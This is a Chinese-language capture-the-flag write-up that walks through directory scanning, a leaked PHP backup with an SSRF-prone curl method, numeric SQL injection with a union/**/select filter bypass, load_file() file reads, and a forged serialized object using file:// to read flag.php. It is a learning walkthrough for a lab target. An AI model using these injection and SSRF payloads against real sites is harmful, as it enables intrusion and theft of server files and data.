這道題,也是費了很大的勁,慢慢理解慢慢消化,今天,才開始把wp寫出來
首先我們先掃描一波目錄,用dirsearch掃一手,發現有robots.txt文件
dirseach自帶的字典在db目錄下,使用格式以及常用參數如下:
py dirsearch.py -u [target url] -e * -u后面跟要掃的url -e是指定的url -w是指定字典 -r遞歸目錄 --random-agents使用隨機UA
然后,我們緊接着用御劍掃一手,發現了flag.php,然后我們顯示訪問robots.txt,然后發現有一個user.php.bak的備份文件,我們直接訪問,然后
下載下來,源碼如下:
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
有一個UserInfo的類,類中有三個公共的類變量:name,age,blog。一個構造方法,一個get方法。主要的工作應該是建立會話,
然后判斷是否是有效的請求,如果不是則返回404,如果不是則返回url的內容,一個getBlogContents方法,返回一個url的內容
還有一個isValidBlog驗證這是否是一個有效的blog地址,看大佬博客說,這段正則好像url中有.就可以匹配。
get方法中,curl_exec()如果使用不當就會導致ssrf漏洞。有一點思路了,而我們在御劍掃到了flag.php。猜測可能flag.php處於內網,
如果用ssrf訪問flag.php,可以用偽協議file://var/www/html/flag.php訪問。
我們先回到首頁,點join注冊一個賬號
然后彈窗注冊成功
這個頁面,也就一個username可以點進去,於是我們點進入,發現no這個地方可以注入,於是拿去sqlmap上跑一手,發現沒有跑出來。
於是嘗試手工注入:
?no = 1 and 1=1 //回顯正常
?no = 1 and 1=2 //錯誤回顯
鐵定數字型注入,於是我們看看表中有多少列,確定一下列數,
?no = 1 order by 3 //正常
?no = 1 order by 4 //正常
?no = 1 order by 5 //錯誤
所以確定列數,有4列
於是我們嘗試union聯合注入:
?no = -1 union select 1,2,3,4--+
結果有這么一段話,被發現了。
然后,通過大佬wp中發現,過濾了union select
可以用過union/**/select繞過
於是我們再次構造payload:
?no = -1 union/**/select 1,2,3,4--+
回顯位是username,然后還發現了一下錯誤信息,/var/www/html/view.php剛才掃目錄得知flag.php也在這個目錄中。
然后我們開始查數據庫和數據庫信息
?no=-1 union/**/select 1,database(),3,4--+ //數據庫名
?no=-1 union/**/select 1,user(),3,4--+ //數據庫信息
發現居然是root權限,那我們知道有一個load_file()函數可以利用絕對路徑去加載一個文件,於是我們利用一下
load_file(file_name):file_name是一個完整的路徑,於是我們直接用var/www/html/flag.php路徑去訪問一下這個文件
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
結果我們得到了flag。這也是我看一個大佬的博客上面用的,我也是學到了這個知識。
接着我們繼續往下看 不用這個方法
我們接着爆數據庫表:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
獲得一張users表
然后爆字段名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
這里面no,username,password我們都知道是什么,就data有點貓膩,於是我們查看它一下,於是我們爆data內容:
是個序列化后的UserInfo對象,這和我們最開始得到的user.php.bak文件有關系了。
在這里我們是不是可以利用一下呢?於是我們對這個序列化后的內容稍作改動
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
然后構造payload:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
然后我們查看源碼,發現讀出來的數據,base64解密獲得flag